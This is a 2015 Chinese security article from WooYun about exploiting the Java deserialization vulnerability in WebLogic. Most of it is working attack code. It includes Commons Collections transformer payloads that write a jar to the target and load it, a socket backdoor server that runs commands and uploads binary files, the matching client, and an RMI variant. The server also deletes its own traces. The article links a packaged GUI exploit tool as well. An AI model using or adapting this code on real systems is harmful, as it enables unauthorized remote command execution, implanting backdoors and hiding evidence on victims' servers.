WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行

标签: 漏洞分析 | 发表时间:2015-12-29 15:34 | 作者:Bird101
出处:http://drops.wooyun.org

0x00 简介


Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞。FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式。前段时间rebeyond在不需要连接公网的情况下使用RMI的方式在WebLogic上实现了文本文件上传和命令执行,但没有实现二进制文件上传。我通过使用Socket的方式实现了二进制文件上传和命令执行,同时也实现了RMI方式的二进制文件。

0x01 思路


首先发Payload在目标服务器中写入一个Socket实现的迷你服务器类,所有的功能都将由这个迷你服务器来执行,然后再发一个Payload来启动服务器,最后本地客户端创建Socket连接的方式向服务器发送请求来使用相应的功能,其中上传二进制文件我采用分块传输的思想,这样可以实现上传较大的文件。

  1. 本地创建Socket实现的迷你服务器类并导出jar包
  2. 把jar包上传至目标服务器
  3. 启动目标服务器上的迷你服务器
  4. 使用二进制文件上传和命令执行功能
  5. 发送关闭请求,清理目标服务器残留文件

0x02 实现


1.本地创建Socket实现的迷你服务器类并导出jar包

public class Server {

    /**
     * 启动服务器
     * @param port
     * @param path
     */
    public static void start(int port, String path) {
        ServerSocket server = null;
        Socket client = null;
        InputStream input = null;
        OutputStream out = null;
        Runtime runTime = Runtime.getRuntime();
        try {
            server = new ServerSocket(port);
            // 0表示功能模式 1表示传输模式
            int opcode = 0;
            int len = 0;
            byte[] data = new byte[100 * 1024];
            String uploadPath = "";
            boolean isUploadStart = false;
            client = server.accept();
            input = client.getInputStream();
            out = client.getOutputStream();
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
            while (true) {
                len = input.read(data);
                if (len != -1) {
                    if (opcode == 0) {
                        // 功能模式
                        String operation = new String(data, 0, len);
                        String[] receive = operation.split(":::");
                        if ("bye".equals(receive[0])) {
                            // 断开连接 关闭服务器
                            out.write("success".getBytes());
                            out.flush();
                            FileOutputStream outputStream = new FileOutputStream(path);
                            // 清理残留文件
                            outputStream.write("".getBytes());
                            outputStream.flush();
                            outputStream.close();
                            break;
                        } else if ("cmd".equals(receive[0])) {
                            // 执行命令 返回结果
                            try {
                                Process proc = runTime.exec(receive[1]);
                                InputStream in = proc.getInputStream();
                                byte[] procData = new byte[1024];
                                byte[] total = new byte[0];
                                int procDataLen = 0;
                                while ((procDataLen = in.read(procData)) != -1) {
                                    byte[] temp = new byte[procDataLen];
                                    for (int i = 0; i < procDataLen; i++) {
                                        temp[i] = procData[i];
                                    }
                                    total = byteMerger(total, temp);
                                }
                                if (total.length == 0) {
                                    out.write("error".getBytes());
                                } else {
                                    out.write(total);
                                }
                                out.flush();
                            } catch (Exception e) {
                                e.printStackTrace();
                                out.write("error".getBytes());
                                out.flush();
                            }
                        } else if ("upload".equals(receive[0])) {
                            // 切换成传输模式
                            uploadPath = receive[1];
                            isUploadStart = true;
                            opcode = 1;
                        }
                    } else if (opcode == 1) {
                        // 传输模式
                        byte[] receive = new byte[len];
                        for (int i = 0; i < len; i++) {
                            receive[i] = data[i];
                        }
                        if (Arrays.equals(overData, receive)) {
                            // 传输结束切换成功能模式
                            isUploadStart = false;
                            opcode = 0;
                        } else {
                            // 分块接收
                            FileOutputStream outputStream = null;
                            if (isUploadStart) {
                                // 接收文件的开头部分
                                outputStream = new FileOutputStream(uploadPath, false);
                                outputStream.write(receive);
                                isUploadStart = false;
                            } else {
                                // 接收文件的结束部分
                                outputStream = new FileOutputStream(uploadPath, true);
                                outputStream.write(receive);
                            }
                            outputStream.close();
                        }
                    }
                } else {
                    Thread.sleep(1000);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
            try {
                out.write("error".getBytes());
                out.flush();
            } catch (IOException e1) {
                e1.printStackTrace();
            }
        } finally {
            try {
                client.close();
                server.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    /**
     * 合并字节数组
     * @param byte_1
     * @param byte_2
     * @return 合并后的数组
     */
    private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
        byte[] byte_3 = new byte[byte_1.length + byte_2.length];
        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
        return byte_3;
    }

}

编译并导出jar包

2.发送Payload把jar包上传至服务器

这里我要特别说明一点,breenmachine在介绍WebLogic漏洞利用时特别说明了需要计算Payload的长度,但是我看到过的国内文章没有一篇提到这一点,给出的利用代码中的Payload长度值写的都是原作者的 09f3,我觉得这也是导致漏洞利用失败的主要原因之一,因此发送Payload前最好计算下长度。

A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.

Payload的长度值可以在一个范围内,我们团队的cf_hb经过fuzz测试得到几个范围值:

  1. poc访问指定url:0x0000-0x1e39
  2. 反弹shell:0x000-0x2049
  3. 执行命令calc.exe:0x0000-0x1d38

这一步生成上传jar包的Payload

public static byte[] generateServerPayload(String remotePath) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(FileOutputStream.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { String.class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { remotePath } }),
            new InvokerTransformer("write", new Class[] { byte[].class },
                    new Object[] { Utils.hexStringToBytes(SERVER_JAR) }),
            new ConstantTransformer(1) };
    return generateObject(transformers);
}

发送到目标服务器写入jar包

3.发送Payload启动目标服务器上的迷你服务器

生成启动服务器的Payload

public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(URLClassLoader.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { URL[].class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }),
            new InvokerTransformer("loadClass",
                    new Class[] { String.class },
                    new Object[] { "org.heysec.exp.Server" }),
            new InvokerTransformer("getMethod",
                    new Class[] { String.class, Class[].class },
                    new Object[] { "start", new Class[] { int.class, String.class } }),
            new InvokerTransformer("invoke",
                    new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[] { port, remotePath } }) };
    return generateObject(transformers);
}

发送到目标服务器启动迷你服务器

4.使用二进制文件上传和命令执行功能

本地测试客户端的代码

public class Client {
    public static void main(String[] args) {
        Socket client = null;
        InputStream input = null;
        OutputStream output = null;
        FileInputStream fileInputStream = null;
        try {
            int len = 0;
            byte[] receiveData = new byte[5 * 1024];
            byte[] sendData = new byte[100 * 1024];
            int sendLen = 0;
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };

            // 创建客户端Socket
            client = new Socket("10.10.10.129", 8080);
            input = client.getInputStream();
            output = client.getOutputStream();

            // 发送准备上传文件命令使服务器切换到传输模式
            output.write("upload:::test.zip".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 分块传输文件
            fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip");
            sendLen = fileInputStream.read(sendData);
            if (sendLen != -1) {
                output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                output.flush();
                Thread.sleep(1000);
                while ((sendLen = fileInputStream.read(sendData)) != -1) {
                    output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                    output.flush();
                }
            }
            Thread.sleep(1000);

            // 发送文件上传结束命令
            output.write(overData);
            output.flush();
            Thread.sleep(1000);

            // 执行命令
            output.write("cmd:::cmd /c dir".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 接收返回结果
            len = input.read(receiveData);
            String result = new String(receiveData, 0, len, "GBK");
            System.out.println(result);
            Thread.sleep(1000);

            // 关闭服务器
            output.write("bye".getBytes());
            output.flush();
            Thread.sleep(1000);

            len = input.read(receiveData);
            System.out.println(new String(receiveData, 0, len));
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                fileInputStream.close();
                client.close();
            } catch (Exception e) {
                e.printStackTrace();
            }

        }
    }
}

测试结果1 图片1

测试结果2 图片2

5. 发送关闭请求清理残留文件

客户端发送关闭请求

output.write("bye".getBytes());
output.flush();

服务器清除残留文件并关闭

if ("bye".equals(receive[0])) {
    // 断开连接 关闭服务器
    out.write("success".getBytes());
    out.flush();
    FileOutputStream outputStream = new FileOutputStream(path);
    // 清理残留文件
    outputStream.write("".getBytes());
    outputStream.flush();
    outputStream.close();
    break;
}

这就是按照我的思路实现的全部过程

0x03 RMI方式实现二进制文件上传及优化流程


这部分只是对rebeyond的利用方式进行了扩展,添加了二进制文件上传的功能以及优化了流程。

扩展的远程类

public class RemoteObjectImpl implements RemoteObject {

    /**
     * 分块上传文件
     */
    public boolean upload(String uploadPath, byte[] data, boolean append) {
        FileOutputStream out = null;
        try {
            out = new FileOutputStream(uploadPath, append);
            out.write(data);
            return true;
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }
        }
    }

    /**
     * 执行命令
     */
    public String exec(String cmd) {
        try {
            Process proc = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(
                    proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            String result;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            result = sb.toString();
            if ("".equals(result)) {
                return "error";
            } else {
                return result;
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "error";
        }
    }

    /**
     * 反注册远程类并清除残留文件
     */
    public void unbind(String path) {
        try {
            Context ctx = new InitialContext();
            ctx.unbind("RemoteObject");
        } catch (Exception e) {
            e.printStackTrace();
        }
        FileOutputStream out = null;
        File file = null;
        try {
            file = new File(path);
            out = new FileOutputStream(file);
            out.write("".getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

    }

    /**
     * 注册远程类
     */
    public static void bind() {
        try {
            RemoteObjectImpl remote = new RemoteObjectImpl();
            Context ctx = new InitialContext();
            ctx.bind("RemoteObject", remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这样最后反注册和清除残留文件的时候就不需要再发送Payload了,只要调用远程类的unbind方法就行。

0x04 Socket VS RMI


VS Socket RMI
端口 需要额外端口可能被防火墙拦截 使用WebLogic本身端口
传输速率 通过Socket字节流较快 通过远程过程调用较慢

0x05 总结


这里以创建Socket服务器的思想实现了漏洞利用,我们可以继续扩展服务器的功能,甚至其他的代码执行漏洞也可以尝试这种方式,在传输较大文件时建议优先使用Socket方式。最后,我开发了GUI程序集成了Socket和RMI两种利用方式,大家可以自主选择。

Socket利用方式 图片3

RMI利用方式 图片4

下载链接: http://pan.baidu.com/s/1pKuR9GJ 密码:62x4

0x06 参考链接


  1. http://www.freebuf.com/vuls/90802.html
  2. http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

相关 [weblogic java 序列化] 推荐:

WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行

- - WooYun知识库
Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞. FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式. 前段时间rebeyond在不需要连接公网的情况下使用RMI的方式在WebLogic上实现了文本文件上传和命令执行,但没有实现二进制文件上传.

java序列化java.io.Externalizable

- - Java - 编程语言 - ITeye博客
这次我们讲的是控制对象的序列化和反序列化. 控制序列化就是有选择的序列化对象,而不是把对象的所以内容都序列化,前篇我们的例子中介绍了transit变量和类变量(static)不被序列化,现在我们还有一种更为灵活的控制对象序列化和反序列方法,可以在序列化过程中储存其他非this对象包含的数据. 我们现在再来介绍一个接口 java.io.Externalizable.

JAVA 反序列化攻击

- - OneAPM 博客
Java 反序列化攻击漏洞由. FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令. 由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接引用这些包的应用都会受到威胁,这样的应用的数量会以百万计.

java序列化与反序列化以及浅谈一下hadoop的序列化

- - CSDN博客云计算推荐文章
1、什么是序列化和反序列化. 神马是序列化呢,序列化就是把 内存中的对象的状态信息,转换成 字节序列以便于存储(持久化)和网络传输. (网络传输和硬盘持久化,你没有一定的手段来进行辨别这些字节序列是什么东西,有什么信息,这些字节序列就是垃圾). 反序列化就是将收到 字节序列或者是硬盘的持久化数据,转换成 内存中的对象.

讲解Java中的序列化

- - IT江湖
serialVersionUID的作用. serialVersionUID适用于JAVA的序列化机制. 简单来说,Java的序列化机制是通过判断类的serialVersionUID来验证版本一致性的. 在进行反序列化时,JVM会把传来的字节流中的serialVersionUID与本地相应实体类的serialVersionUID进行比较,如果相同就认为是一致的,可以进行反序列化,否则就会出现序列化版本不一致的异常,即是InvalidCastException.

理解Java对象序列化

- - 博客 - 伯乐在线
来源: jiangshapub 的博客( @jiangshapub). 关于Java序列化的文章早已是汗牛充栋了,本文是对我个人过往学习,理解及应用Java序列化的一个总结. 此文内容涉及Java序列化的基本原理,以及多种方法对序列化形式进行定制. 在撰写本文时,既参考了 Thinking in Java, Effective Java,JavaWorld,developerWorks中的相关文章和其它网络资料,也加入了自己的实践经验与理解,文、码并茂,希望对大家有所帮助.

对Java序列化早作防备(译)

- - BlogJava_首页
本文是 IBM developerWorks中的 一篇文章,介绍了不使用加密与签章技术,如何防止对不可信数据输入的解序列化. (2013.01.17最后更新).     Java序列化允许开发者将Java对象保存为二进制格式,以便将该对象持久化到一个文件中或将其在网络中进行传递. 远程方法调用(RMI)使用序列化作为客户端与服务器端之间的通信媒介.

java 序列化 serializable接口 serialVersionUID

- - 互联网 - ITeye博客
如果一个类实现了serializable接口,那么就会要求一个serialVersionUID. 序列化运行时使用一个称为 serialVersionUID 的版本号与每个可序列化类相关联,该序列号在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类. 如果接收者加载的该对象的类的 serialVersionUID 与对应的发送者的类的版本号不同,则反序列化将会导致 InvalidClassException.

Java序列化理解与总结

- - CSDN博客编程语言推荐文章
Java平台允许我们在内存中创建可复用的Java对象,但一般情况下,只有当JVM处于运行时,这些对象才可能存在,即,这些对象的生命周期不会比JVM的生命周期更长. 但在现实应用中,就可能要求在JVM停止运行之后能够保存指定的对象,并在将来重新读取被保存的对象. Java对象序列化就能够帮助我们实现该功能.

java反序列化工具ysoserial分析

- - WooYun知识库
关于java反序列化漏洞的原理分析,基本都是在分析使用 Apache Commons Collections这个库,造成的反序列化问题. 然而,在下载老外的 ysoserial工具并仔细看看后,我发现了许多值得学习的知识. 不同反序列化 payload玩法. 灵活运用了反射机制和动态代理机制构造POC.